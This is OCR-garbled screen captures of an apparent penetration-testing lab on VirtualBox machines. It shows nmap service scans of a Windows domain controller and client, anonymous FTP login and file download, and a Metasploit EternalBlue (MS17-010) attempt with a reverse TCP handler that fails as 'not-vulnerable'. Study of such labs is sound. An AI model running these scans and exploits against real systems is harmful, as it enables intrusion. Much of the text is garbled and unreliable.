Initiating 05 detection (try #1) against 192.168.1.1
Retrying 05 detection (try #2) against 192.168.1.1
Retrying 0S detection (try #3) against 192.168.1.1
Retrying 0S detection (try #4) against 192.168.1.1
Retrying 05 detection (try #5) against 192.168.1.1
@ \se: script scanning 192.168.1.1

Initiating NSE at 06:34
NSE: [ftp-bounce] PORT response: 501 Server cannot accept argument.
Stats: 0:02:59 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE: Active NSE Script Threads: 5 (5 waiting)
NSE Timing: About 99.82% done; ETC: 06:34 (0:00:00 remaining)
Completed NSE at 06:34, 30.175 elapsed
Initiating NSE at 06:34
Completed NSE at 06:34, 4.845 elapsed
Initiating NSE at 06:34
Conpleted NSE at 06:34, 0.00s elapsed
Nmap scan report for 192.168.1.1
Host is up (0.0011s latency)
Not_shown: 979 closed ports
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Macchina  Visualizza

File Inserimento  Dispositivi

Posizioni ~ (E] Terminale ~

Applicazioni

Windows qotd (English)

http-methods
Supported Methods: OPTIONS TRACE GET HEAD POST
Potentially risky methods: TRACE
http-server-header: Microsoft-115/10.0

Site doesn't have a title (text/htnl)

17/tcp  open qotd
19/tcp  open chargen
21/tcp  open ftp wicrosoft ftpd
Ftp-anon: Anonynous FTP login allowed (FTP code 230)
| 09-25-25 02:520m 67 accboooo. txt
| 09:25.25 03:08PH 10 inportant_file. txt
| 092525 o3:11PM 16 new inportant file. txt
| 09-25-25 12:39mm 32 test.txt
| ftp-syst
| SYST: Windows NT
53/tcp open donain?

B ngerprine-strings,
| Dhsversongindreqtce
| version

-
So/tcp open http Wicrosoft 115 httpd 10.0
]
|
|
I
| http-title
G3/tch  open kerberos-sec Microsoft windows Kerberos (server
135/tcp open marpc Wicrosoft Windows RPC
139/tcp open netbios-asn Microsoft Windows netbios-ssn
309/tcp open ldap Microsoft Windows Active Directory
493/tcp open ssi/http  Microsoft IIS httpd 10.0

http-auth

Digest nonce:
Negotiste
NTLM

http-ntin-info:
Target Name
NetBIOS Domain Name: SWANSEA
NetBIOS_Computer Name: 5-DC

|
|

|

|

|

I SWANSEA

|

|

| ONS_Domain Name: swansea.acca
|

|

|

|

|

|

|

|

|

|

DNS_Computer_Name: S-DC.swansea.acca

ONS_Tree Nane: swansea.acca
Product Version: 10.0.20348
http-server-header: Microsoft-115/10.0
Site doesn’t have a title
Subject: commonNane=5-DC
Issuer: cononNane=s-0C
Public Key type: rsa
Public Key bits: 2048
Signature Algorithn

http-title
ssl-cert

Sha256WL thRSAENC ryption

7c
Mostly sunny

HTTP/1.1 401 Unauthorized\xen
Upgraded+v1fa29e7b6cabesdcel05 bede9a03d0f bci2a2c346bddc012bb6ICIICT 4Fac3960 a2 celect2be3f cac f9a01171dc f0da0e4a321ac6e169 qop=auth charset=utf-8 algorithn=HDs-sess

gio06:44

tine: 2026-03-26 17:31:312)

LOAP (Domain: swansea.acca0., Site: Default-First-Site-Name)

realn=bigest
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B KALI19 [In esecuzions irtualBox J
Fle  Machina  Viusizza  Inserimemto  Disposivi Ao
Agpiasioni = posiion ~ ) Terminai ~ go0s:45 % H o8-

| Signature Algorithn: sha2sowithRSAENCryption
| Not valid before: 2025-09-23T15:36:55

| Not valid after: 2026.03-25715:36:55

| HDS: 120 €178 233a bdod abdd abea esed esco

|_SHA"1: 5874 3458 806 f42d 93sa 793b G6af 763f 0a74 4882

|Zs51-date: 2026-03-26T17:34:43+60:00; +7ha0no0s from scanner tine.

|tls-atpn

| hpia

4ds/tep open microsoft-ds Windows Server 2022 Datacenter 20348 microsoft-ds (workgroup: SWANSEA)
464/tcp open  kpasswds?

515/tcp open printer  Hicrosoft lpd

593/tcp open ncacn http Hicrosoft Windows RPC over HTTP 1.6

636/tcp open tcpurapped

3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: swansea.acca®., Site: Default-First-Site-Name)
3269/tcp open tcpurapped
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPIP)

|_http-server-header: Microsoft-HTTPAPI/2.6
~ [ “http-title: Service Unavailable

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at hittps://nmap.org/cgi-bin/submit.cgi?new-service

SF-POrt53-TCP: V=7 .80%[=7%D=3/264Tine=69C50808%P=x86_64-pc- Linux-gnur (DNSV

SF:ersionBindReqTCP, 28, "\0\X1e\0\X06\X81\X84\0\x01\8\0\0\0\0\0\X07version\

SF:x04bind\0\O\X10\0\X63") ;

MAC Address: 08:00:27:10:8C:B0 (Oracle VirtualBox virtual NIC)

No exact 05 matches for host (If you know what 05 is running on it, see https://nmap.org/submit/ )

TCP/IP fingerprint

05: SCAN (V=7 .80

14D=3/26%0T=7%CT=1%CU=40219%PV=Y DS =1DC=D
X86_64-pc- Linux-gnu) SEQ(SP=10436CD=1%1SR=107T]

05:0%0=) U1 (R=YXDF=N1
05:R=YADFI=NAT=80%CD=2)

Uptine guess: 0.005 days (since Thu Mar 26 06:27:12 2026)
Network Distance: 1 hop

TCP Sequence Prediction: Difficulty=260 (Good luck!)

1P 1D Sequence Generation: Incremental

Service Info: Host: 5-DC; 05: Windows: CPE: cpe:/0:microsoft:windows

Host script results
|_clock-skew: mean: 8h23ns9s, deviation: 3h07m50s, median: 6hsoms8s
| nbstat: NetBIOS name: S-DC, NetBIOS user: <unknown>, NetBIOS MAC: ©8:00:27:10:8c:bo (Oracle VirtualBox virtual NIC)
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B KALI19 [In esecuzions

File  Macchina  Visualizza  Inserimento  Dispositvi  Aiuto

Applcazion ~__posizioni ~ ] Terminale ~

gio06:45

osboxes: -

| nbstat: NetBIOS name: S-DC, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:10:8c:b0 (Oracle VirtualBox virtual NIC)

| Nanes
| swANsEA<ic> Flags: <group><actives
5-DC<bB> Flags: <uniques<actives
SWANSER<00> Flags: <group<actives
5-DC<20> Flags: <unique><active>
SWANSEA<1e> Flags: <group><actives
SWANSEA<1b> Flags: <uniques<actives
SWANSEA<1d> Flags: <uniques<actives

|
|

|

|

|

|

|_ \X01\x02_MSBROWSE_\x02<61> Flags: <group><actives
| smb-os-discovery:

| 05: Windows Server 2022 Datacenter 20348 (Windows Server 2022 Datacenter 6.3)
| Computer name: s-oc

| NetBIOS computer name: S-DC\x00

| Domain name: swansea.acca

| Forest name: swansea.acca

| FODN: 5-DC.swansea.acca

| System time: 2026-63-26T10:34:12-07:00

| smb-security-node

| account_used: guest

| authentication_level: user

| challenge response: supported

| message signing: required

| smb2-security-node

| 2.02

| Message signing enabled and required

| smb2-tine

| date: 2026-03-26T17:34:13

| start_date: n/A

-
°
e
L
G |
3

TRACEROUTE
HOP RTT  ADDRESS
1 1.07 ms 192.168.1.1

NSE: Script Post-scanning
Initiating NSE at 06:34
Conpleted NSE at 06:34, 0.005 elapsed
Initiating NSE at 06:34
Completed NSE at 06:34, 0.00s elapsed
Initiating NSE at 06:34
Conpleted NSE at 06:34, 0.00s elapsed
Read data files from: /usr/bin/../share/nnap
05 and Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nnap done: 1 IP address (1 host up) scanned in 206.86 seconds
Raw packets sent: 1081 (51.118K8) | Rcvd: 1081 (46.762K8)
root@osboxes:~#

7c
Mostly sunny
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3 KALITS (I esecuzione] - Oracle VirtualBox o
e R e e T R e
Applcazioni ~ _ Posizoni ~ ) Termirale ~ go22:09 B v b

e d

192.168.2.10 -A
https://nmap.org ) at 2026-03-26 22:08 EOT

root@oshoxes:~# nnap
Starting Nmap 7.88 (
Nnap scan report for 192.168.2.10

HoSt is up (0.00069s latency)

Not shown: 998 closed ports

PORT  STATE SERVICE VERSION

22/tcp open ssh  OpenssH 9.2p1 Debian 2+debl2us (protocol 2.0)
89/tcp open http  Apache httpd 2.4.62 ((Debian))

| _http-server-header: Apache/2.4.62 (Debian)

| http-title: Apache2 Debian Default Page: It works

MAC Address: 08:00:27:18:€7:83 (Oracle VirtualBox virtual NIC)

No exact 05 matches for host (If you know what 05 is running on it, see https://nmap.org/submit/ )

TCP/IP fingerprint:

(05:5CAN (V=7 . BOSE=44D=3/26X0T=22%CT=14CU=41850%PV=YADS=1DC=DAG=YSH=0806275T

05 :M=69C5E6C3LP=x86_64-pc-Linux-gnu) SEQ(SP=103%GCD=14ISR=109%TI=Z%CI=Z%11=T

TS=A) OPS (O1=M5B4ST11NW702=N5BASTINNT03=HSBANNT L LNW7%04=H5BAST1 1N %0
1SBASTLINW7%06=M5B4ST 11)WIN (W1=FEBS*W2=FESENI=FEBBUN:

FEBS) ECN (R=YDF=Y}T=40%N=FAFO50=H5BANNSNWT%CC=Y40:

+REYDF=NAT=40%TP!
05 :NT=46%C0=5)

Network Distance: 1 hop
Service Info: 0: Linux; CPE: cpe:/o:linux:linux kernel

TRACEROUTE
HOP RTT ADDRESS

1 0.69 ms 192.168.2.10

05 and service detection performed. Please report any incorrect results at https://nnap.org/submit
/

Nnap done: 1 IP address
root@oshoxes :~#

(1 host up) scanned in 31.28 seconds

83 Linux Debian All Packages (I esecuzi

Visualizza  Inserimento Aiuto

Dispositivi.

 qlen 1000
ink/Toopback 00:00:00:60:00:60 b 00:00:00:00:00:00
inet 127.0.0.1/8 scape host 1o
“alid17t Torever prerersed 1t forever
inets 111128 scope host noprefixioute
\al0_11+ forever preferred 11t forever
2+ enposs: <BROADCAST MOLTICAST OYRAHIC,UP, LOER_UP> mtu 1500 qdise fa_code
te UP Gzoup default glen 1060
Tinkether 08:00127:30-13:89 brd FF-78: L1817
inet 18.6.2.15/24 bzd 10.0.2.253 scope global dynamic enpes3
“ali.ift s206isec preferred 11c savsisec
Sneks 1417,625¢:1037.2. 200, 271238 1389/64 scope global dynanic angtepadds
nopretixroute
valid 1t a2mBsec preferred 1t 1ezsasec
inets 1es0::a00:2711:fe3s: 1389/64 scope Tink noprefixroute
valia1ft forever prefersed 17t forever
31 enpos10; CBROADCAST WILTICAST OMVANLC, Ur LOVER_UP
e UP gzoup detoult gien 1060
Yinkather 09:00:27:18:¢7:83 brd FE:61.16:FE:68.1¢
Inet 192.168.2.10/24 bro 192.168.2.255 3cope global enposio
“alid 11t foreves prefersed 1+ farever
inecs e :a00:2711: fels,e783764 scope 1
“ali 11t forever prefersed 1t forever
nithecshenitheesh: 5 |

mtu 1500 qdisc fq_codel st
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Fle  Machine  View  Input  Devices  Help

Applicazioni ~  Posizioni ~

root@osboxes: ~
File Modifica

root@osboxes:~# nmap 192.168.1.1 -A

Starting Nmap 7.80 ( https://nmap.org ) at 2026-04-03 O
Nmap scan report for 192.168.1.1
Host is up (0.0014s latency).

Not shown: 979 closed ports

PORT STATE SERVICE VERSTON
7/tcp  open echo

9/tcp  open discard?

13/tcp  open daytime Microsoft Windows USA daytime
17/tcp  open qotd windows qotd (English
19/tcp  open chargen

21/tcp  open ftp Microsoft ftpd

BriRz=0D ON

http-methods:

_ Potentially risky methods: TRACE

“http-server-header: Microsoft-IIS/10.0

| http-title: Site doesn't have a title (text/html).

88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-03 21:27:30Z

| ftp-anon: Anonymous FTP login allowed (FTP code 230

| 09-25-25 0 67 accb6000. txt

| 09-25-25 0 10 important file.txt
| 09-25-25 @ 10 new_important file.txt
|_09-25-25 1 32 test.txt

| “ftp-syst:

|_ SYST: windows NT

53/tcp  open domain?

| fingerprint-strings:

| DNsVersionBindReqTCP

| version

|_ bind

80/tcp open http Microsoft IIS httpd 10.6

}

|

135/tcp open msrpc Microsoft Windows RPC
BONEF & ME S G 8 CrEESTRY
- Q seren EovwmE " C T
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3

Machine  View  Input

Applicazioni v Posizioni v Terminale v ven09:33 w [l sva-

BriRz=0D ON

& “C

root@osboxes: ~

rmi Aiut
135/tcp open msrpc Microsoft Windows RPC -
139/tcp open netbios-ssn Microsoft Windows netbios-ssn

389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: swansea.acca®., Site: Default-First-Site-Name)

443/tcp open ssl/http Microsoft IIS httpd 10.0

| http-auth:
| HTTP/1.1 401 Unauthorized\xeD
|  Digest gop=auth nonce=+Upgraded+vlfa29e7b6cabe9ecel05fbcde9a03dof6d9d3deadblc3dcolec2ce66a9fadsosseesasbdeab3laf7bfadb7b7827d5Fc924b28515d60
68al2a realm=Digest algorithm=MD5-sess charset=utf-8
| Negotiate
NTLM
http-ntlm-info:
Target_Name: SWANSEA
NetBIOS Domain_Name: SWANSEA
NetBIOS_Computer Name: S-DC
DNS_Domain_Name: swansea.acca
DNS_Computer_Name: S-DC.swansea.acca
DNS_Tree Name: swansea.acca
Product_Version: 10.0.20348
http-server-header: Microsoft-II5/10.0
http-title: Site doesn't have a title
ssl-cert: Subject: commonName=S-DC
Not valid before: 2025-09-23T15:56:55
Not valid after: 2026-03-25T15:56:55
ssl-date: 2026-04-03T21:30:40+00:0
tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds Windows Server 2022 Datacenter 20348 microsoft-ds (workgroup: SWANSEA.
464/tcp open kpasswds?
515/tcp open printer Microsoft lpd
593/tcp open ncacn http Microsoft Windows RPC over HTTP 1.
636/tco oben tcowraboed

+8h00M10s from scanner time
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Fle  Machine  View  Input  Devices  Help

Applicazioni ~  Posizioni ~

root@osboxes: ~

3269/tcp open tcpwrapped

5357/tcp open http Microsoft HTTPAPI httpd 2.6 (SSDP/UPNP)
|_http-server-header: Microsoft-HTTPAPT/2.0
|_http-title: Service Unavailable

1 service unrecognized despite returning data.
bin/submit.cgi?new-service
SF-Port53-TCP:V=7.80%I=7%D=4/3%Time=69CFCO3D%P=x86_64-pc-inux-gnu%r (DNSVe
SF:rsionBindReqTCP, 20, "\0\x1e\0\X06\XB1\X04\0\X01\0\0\0\0\0\0\X07version\x
SF:04bind\0\0\X10\0\x03") ;

MAC Address: 08:00:27:10:8C:B® (Oracle VirtualBox virtual NIC)
No exact 0S matches for host (If you know what 0S is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

05:SCAN (V=7 . 80%E=4%D=4/3%0
05:69CFCOF6%P=x86_64-pc-Linux-gnu)SEQ(S SIT=T%SS
05:=5%TS=A) OPS (01=M5B4NWBST11%02=M5B4NWEST11%03=M5B4NWENNT11%04=M5BANWBST11
05:%05=M5BANWBST11%06=M5B4ST11)WIN (W:
05:W6=FFDC) ECN (R=YDI 80%W=F FFF%(
0s +%F=AS%RD=0%Q=) T2 (R=Y%DI

05 : %DF=Y%T=80%W=0%S:
05:0=%RD=0%0=)T5 (R="

0s

If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-

0s
0s

BriRz=0D ON

Network Distance: 1 hop
Service Info: Host: S-DC; 0S: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 9h24me9s, deviation: 3h07mSes, median: 8hoemoss

| nbstat: NetBIOS name: S-DC, NetBIOS user: <unknown>, NetBIOS MAC: ©8:00:27:10:8c:b® (Oracle VirtualBox virtual NIC)
1" smb-os-discoverv:
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Fle  Machine  View  Input

Applicazioni ~  Posizioni + ven09:35 w [l -4

root@osboxes: ~

File Modifica Aiuto

Host script results:

|_clock-skew: mean: 9h24me9s, deviation: 3h07m5es, median: 8hoemoss

| _nbstat: NetBIOS name: S-DC, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:10:
| “smb-os-discovery:

| 0S: Windows Server 2022 Datacenter 20348 (Windows Server 2022 Datacenter 6.3)
| computer name: 5-DC
| NetBIOS computer name: S-DC\X00
| Domain name: swansea.acca
| Forest name: swansea.acca
| FQDN: 5-DC.swansea.acca
|_ System time: 2026-04-03T14:30:11-07:00
| “smb-security-mode:

| account used: guest
|

|

I-

|

|

[

|

|

[

:be (Oracle VirtualBox virtual NIC)

authentication level: user
challenge response: supported
message_signing: required

smb2-security-mode:

Br i@zl -

2.02:
Message signing enabled and required
smb2-time:
date: 2026-04-03T21:30:10
start_date: N/A
TRACEROUTE
HOP RTT ADDRESS

1 1.37 ms 192.168.1.1

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 198.68 seconds
root@osboxes:~# SJ ™
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3 KALI1S [In esecurione] - Oracie Vitualt W& Clients1 {in esect Oracle VirtualBox
File  Macchina  Visualizza Inserimento  Dispositii File  Macchina  Visualizza Inserimento  Disposiii

Applcazion ~_ posizioni ~ ] Terminale ~ 5io09:17

FootCoshoxes:~# nnap 192.168.1.10 -A

Starting Nnap 7.80 ( https://nmap.org ) at 2026-83-26 09:12 EDT

Nmap scan report for 192.168.1.10

Host is up (0.0010s latency)

Not shown: 997 closed ports

PORT  STATE SERVICE VERSTON ticrosoft Windows [Version 10.0.10645.2006]
135/tcp open msrpc Microsoft Windows RPC (c) Microsoft Corporation. ALl rights reserved.
139/tcp open netbios-ssn  Microsoft Windows netbios-ssn

445/tcp open microsoft-ds? c: \Users\admim>ipconfig

MAC Address: 08:00:27:10:20:66 (Oracle VirtualBox virtual NIC)

il o cxact 0 matches for host (If you know what 05 is running on it, see https://nnap.ora/subnit/ ) Tt B CelEnrestn

c:\Users\ndats

Network Distance: 1 hop
@ Service Info: 05: Windows; CPE: cp

Wost script results:
|.clock-skew: 15

| nbstat: NetBIOS name: CLIENTSI, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:1d:20:66 (Oracle
VirtualBox virtual NIC)

| ‘smb2-security-mode:

| 2.0

|_Message signing enabled but not required

| smb2-tin

| date: 2026-03-26T13:13:23

| start_date: WA

TRACEROUTE Y
HOP RTT  ADDRESS = - =
1 1.63 ms 192.168.1.10 e

05 and Service detection performed. Please report any incorrect results at https://nnap.org/submit
/
Nnap done: 1 IP address (1 host up) scanned in 36.48 seconds
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B KALI1O [In esecuzion:

File  Macchina

Visualizza  Inserimento  Dispositivi  Aitto Visualizza  Inserimento  Dispositivi
Applicazioni ~_ Posizioni ~ (] Terminale ~. gio09:18

root@osbores:

Nnap scan report for 192.168.1.10
Host is up (0.00105 latency)
Not_shown: 997 closed ports
PORT  STATE SERVICE
135/tcp open msrpc

139/tcp open netbios-ssn
445/tcp open microsoft-ds?
MAC Address: 08:00:27:1

VERSTON
Microsoft Windows RPC
Microsoft Windows netbios-ssn

H1ErosoTt Windows [Version 10.0.19045.2006]
(c) Wicrosoft corporation. ALL rights ras
0:66 (Oracle VirtualBox virtual NIC)
No exact 05 matches for host (If you know what 05 is running on it, see https://nmap.org/submit/ ) Users\adminyipcontis
B e findows 1P Configuration
+SCAN (V=7 . BOVE=41D=3/2640T=135,CT=11CU=380354PV=Y DS =1\DC=DAG=YAH=080027%
$TH-GSC30FaLPeBS_64:pC LLNUK-0NU)SEQ(SP=101\GCD=INISR1CKTITNCI=TNI 1=
£ INSSSNTS=U) 0P (01
HSBANENSADG-HSBANNS N
+0) ECN(R=YADF=YAT:

echernet adapter Intsua:

1(R Link-local Tpve Address . - . . . i feBo:i6de3 savac:es27:sazea
oA ASVO=Ae) T2 (R IAOF YA T-BOMe G- A P ARVOARDE VDS T3 (ReVAOF T Ihud Adde 192,001
o Subnet Mask 255,295 2500

0=RD:
T=B0%I=0%

Default Gateuay B 192.168.1.1
RD=0%0=)UL(

DFoN -0 TPL 164N ARID=GARIPCK=GHRUCK=GARUD=G) IE (R=Y*DFI=

05T ogoror)

\Users\adnin>
Network Distance: 1
Service Tnfor oS: Windous; CPE: cpes/osmicrosoftiwindeus
Host script results:
|_clock-skew: -1s
| nbstat: NetBIOS name: CLIENTS1,
VirtualBox virtual NIC)
| smb2-security-node

2.02

Message signing enabled but not required
snb2- tine:
date: 2026-03-26713:13:23
start_date: N/A

NetBIOS user: <unknowns, NetBIOS MAC: 08:00:27:1d:20:66 (Oracle

ADDRESS
1.03 ms 192.168.1.10

05 and service detection performed. Please report any incorrect results at https://nnap.org/submit
/

oma s B ~o@w o,
Nnap done: 1 1P address (1 host up) scanned in 36.48 seconds
rootgosboxes :~# |
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Microsoft Windows [Version 10.6.19645.2006]
(c) Microsoft Corporation. All rights reserved.

:\Users\Admin>ipconfig

jwindows Ip Configuration

Ethernet adapter Intswa:

Connection-specific DNS Suffix

Link-local IPvé Address . Fe80: :6d03:a14c: F327:542F%4

1Pv4 Address. : 192.168.1.10
Subnet Mask . 255.255.255.6
Default Gateway . 192.168.1.1

:\Users\Admins,

ning] - Oracle VirtualBox - o X

Fle  Machine  View  Input  Devices  Help

Posizioni v [ Terminale v sab16:40
root@osboxes:

Modifi
root@osboxes:~# ping 192.168.1.10
PING 192.168.1.10 (192.168.1.10) 56(84) bytes of data.
64 bytes from 192.168.1.10: icmp_seq=1 ttl=128 time=2.16 ms
64 bytes from 192.168.1.10: icmp_seq=2 ttl=128 time=1.61 ms
64 bytes from 192.168.1.1 994 ms

~z
. [11+ Fermato ping 192.168.1.10

root@osboxes:~# nmap -sV 192.168.1.10
Starting Nmap 7.80 ( https://nmap.org ) at 2026-84-04 16:39 EDT
~ |Nmap scan report for 192.168.1.10
Host is up (0.0036s latency).
Not shown: 997 closed ports
PORT  STATE SERVICE VERSTON
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
MAC Address: 8:00:27:1D:20:66 (Oracle VirtualBox virtual NIC)
Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 20.24 seconds
root@osboxes:~# |
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root@osboxes: ~

Applicazioni ~  Posizioni ~

File Modifica Cerca Terminale Aiuto

root@oshoxes:~# msfconsole

[-] ***rting the Metasploit Framework console.../

[-] * WARNING: No database support: FATAL: password authentication failed for user "msf"
FATAL: password authentication failed for user "msf"

e
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root@osboxes: ~

Aiuto

+ -- --=[ 556 payloads - 45 encoders - 10 nops 1
+ - - 4 evasion 1

nsfs > search ms17

. Matching Modules

#  Name Disclosure Date Rank Check Description

o  auxiliary/admin/mssql/mssql_enum_domain_accounts normal  No Microsoft SQL Server SUSER_SNAME Windows Domain A
ccount Enumeration

1 auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli normal  No Microsoft SQL Server SQLi SUSER SNAME Windows Dom
ain Account Enumeration

2 auxiliary/admin/mssql/mssql_enum_sql_logins normal  No Microsoft SQL Server SUSER_SNAME SQL Logins Enume
ration

3 auxiliary/admin/mssql/mssql_escalate_execute as normal  No Microsoft SQL Server Escalate EXECUTE AS

4 auxiliary/admin/mssql/mssql_escalate_execute_as_sqli normal  No Microsoft SQL Server SQLi Escalate Execute AS

5 auxiliary/admin/smb/ms17_610_command 2017-03-14 normal  Yes  MS17-010 EternalRomance/EternalSynergy/EternalCha
mpion SMB Remote Windows Command Execution

6 auxiliary/scanner/smb/smb_ms17_016 normal  Yes  MS17-010 SMB RCE Detection

7 exploit/windows/fileformat/office ms17_11882 2017-11-15 manual  No Microsoft Office CVE-2017-11882

8 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes  MS17-010 EternalBlue SMB Remote Windows Kernel Po
ol Corruption

9 exploit/windows/smb/ms17_010_eternalblue wing 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Po
ol Corruption for Wing+

10 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes  MS17-010 EternalRomance/EternalSynergy/EternalCha

mpion SMB Remote Windows Code Execution

nsfs > Il
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root@osboxes: ~
File_ Modifica rminale _ Aiuto
ol Corruption for Wing+
10 exploit/windows/smb/ms17_ 816 psexec 2017-03-14 normal  Yes MS17-010 EternalRomance/EternalSynergy/EternalCha

mpion SMB Remote Windows Code Execution

nsfs > use exploit/windows/smb/ms17_010 eternalblue

nsf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.10
RHOSTS => 192.168.1.10

nsfs exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue)

Name Current Setting Required Description

RHOSTS 192.168.1.10 yes The target address range or CIDR identifier

RPORT 445 yes The target port (TCP

SMBDomain 4 no (optional) The Windows domain to use for authentication
SMBPass no (optional) The password for the specified username
SMBUser no (optional) The username to authenticate as

VERIFY ARCH  true yes Check if remote architecture matches exploit Target
VERIFY_TARGET true yes Check if remote 05 matches exploit Target

)=

Exploit targe

Id Name

© Windows 7 and Server 2008 R2 (x64) All Service Packs

msf5 exploit(windows/smb/ms17_010_eternalblue) > []
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root@osboxes: ~

File Modifica Terminale Aiuto

msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.10
RHOSTS => 192.168.1.10
msf5 exploit(windows/smb/ms17_610_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name Current Setting Required Description

RHOSTS 192.168.1.10 yes The target address range or CIDR identifier

RPORT 445 yes The target port (TCP)

SMBDomain 4 no (optional) The Windows domain to use for authentication
SMBPass no (optional) The password for the specified username
SMBUser no (optional) The username to authenticate as

VERIFY ARCH  true yes Check if remote architecture matches exploit Target.
VERIFY_TARGET true yes Check if remote 05 matches exploit Target.

Exploit target:

Id Name

© Windows 7 and Server 2008 R2 (x64) All Service Packs

)=

msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 192.168.1.2:4444

(-1 192.168.1.10:445 - An SMB Login Error occurred while connecting to the IPC$ tree.

[-] 192.168.1.10:445 - Exploit aborted due to failure: not-vulnerable: Set ForceExploit to override
[*] Exploit completed, but no session was created.

msf5 exploit(windows/smb/ms17_016_eternalblue) > |
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indows 1P Configuration

Ethernet sdapter Internet: File Modific Cerca Tel

Connection-specific ONS Suffix . : home root@osboxes:~# ftp 192.168.1.1
16 Address. . e = fd17:625¢:1037:2:¢fd@:7¢37:27cc:3d7 Connected to 192.168.1.1.
Link-local 96 adess . e e147:b674 23182847 220-Microsoft FTP Service
Tout Addrss. 10,0215
Subnet Mask . I ¢ 256.255.255.0 220 Welcome to SWANSEA.ACCA Network!!!!
Default Gateray s Name (192.168.1.1:root): anonymous
10.0.2.2 331 Anonymous access allowed, send identity (e-mail name) as passwor

d.
ethernet adapter Tntsua: Password:

Comnection-specific O Suffix . : 230-Share your work files here!!!
Link-Local T9v6 Address . . . . . : feB0::O083:209F:440c:bUAEN13 230 User logged in.

Ipvd Address. 192.168.1.1 Remote system type is Windows NT.
Subnet Mask . . L 285.255.055.8 o> 1l 7
Default Gatevay : i

ethernet adapter External:

Comnection-specific DI Suffix
Link-local 1Pv6 Address . + fesh::0aca:040:58bd: 6012815
va Address. . . .. .. ... .:2.0.0.1

Subret Mask 255.255.255.252
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~  Posizioni v [ Terminale » lun23:16 w  [J

root@osboxes: ~

indows 1P Configuration

Ethernet sdapter Internet: Modifi C ale Aiuto

root@osboxes:~# nmap -p 21 192.168.1.1
Starting Nmap 7.80 ( https://nmap.org ) at 2026-84-06 23:10 EDT

Comection-specific DI Suffix . : hone
IPV6 Address. . . . . . ... . . FO17:625C A7 2iCHIOITCT:2Tcc 3

Link-local 176 Address . | | | . + feBlcield7:bo7a:a231:6284K7

Ukl e Rl o =con renor for 192.168.1.1
Subnet sk | L L ... 255.055.055.0 REEIEEILTD (CECRPs Tovieniy) -
Default Gatevay . . L. ¢ femii2ks

10.0.2.2 . PORT  STATE SERVICE

21/tcp open ftp
MAC Address: 8:00:27:10:8C:B0 (Oracle VirtualBox virtual NIC)

Jethemet adapter Intsia

Comection-specific OIS Suffix
Link-local TPv6 Address . . . . . : fe80::9488:200F :448C:b440%13 Nmap done: 1
IPv4 Address. 192.168.1.1 root@osboxes:~# ftp 192.168.1.1
;:E::;QMEE::;:} C IR . Connected to 192.168.1.1.

220-Microsoft FTP Service
. 220 Welcome to SWANSEA.ACCA Network!!!!
Name (192.168.1.1:root): anonymous
B 331 Anonymous access allowed, send identity (e-mail name) as passwor
>

IP address (1 host up) scanned in 13.15 seconds

ethernet adapter External:

Comnection-specific DI Suffix
Link-local 1Pv6 Address . . . . . : fe80::0aca:a640:58bd:6bI2ALS
va Address. . . .. .. ... .:2.0.0.1

Subret Mask 255.255.255.252

Default Gateay

d.

Password:

230-Share your work files here!!!

230 User logged in.

Remote system type is Windows NT.

ftp> 1s

200 PORT command successful.

125 Data connection already open; Transfer starting.
©9-25-25  02:52PM 67 accb6000. txt
©9-25-25 03:08PM 10 important file.txt
©9-25-25 03:11PM 10 new_important file.txt
09-25-25 12:39PM 32 test.txt

226 Transfer complete.

frp> I
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Posizioni v [ Terminale v [un23:21 w [l <va-

root@osboxes:

indows 1P Configuration

Ethernet sdapter Internet:

Coection-specific DS Suffix . : hone 220-Microsoft FTP Service
IPV6 Address. . . . .. ... . . A17:625C:f037:2:cid:7C37:27cc: 0T 220 Welcome to SWANSEA.ACCA Network!!!!
Link-local 1Pv6 Address . . . . . : feB0::e147:b674:a231:8284%7 Name (192.168.1.1:root): anonymous

Tout Addrss. 10,0215
Lol ihoanco00000BE00E] 331 Anonymous access allowed, send identity (e-mail name) as passwor

Default Gatevay . . . . . .. .. : feBd:i2% d.
10.0.2.2 Password:

230-Share your work files heret!!
230 User logged in.
Comection-spectfc OIS Sufflx . : Remote system type is Windows NT.
Link-local TPV Address . . . . . + feBd: 9088:209F 44GC bUAGRT3 ftp> 1s
T Address. 192.168.1.1 200 PORT command successful.
;:?:SQMEE:KQ.} coeocooo b EREREHD 125 Data connection already open; Transfer starting.
09-25-25 02:52PM 67 acch6000. txt
ethemet adapter Externl: 09-25-25 03:08PM 10 important file.txt
et e o st 09-25-25 03:11PM 10 new_important file.txt
T e %2 test o
T T 226 Transfer complete.
Subnet Hask 255.255.255.252 ftp> get test.txt
Default Gateway . . . . . . ... local: test.txt remote: test.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
32 bytes received in 0.01 secs (3.3020 kB/s)
ftp> get acch60go. txt
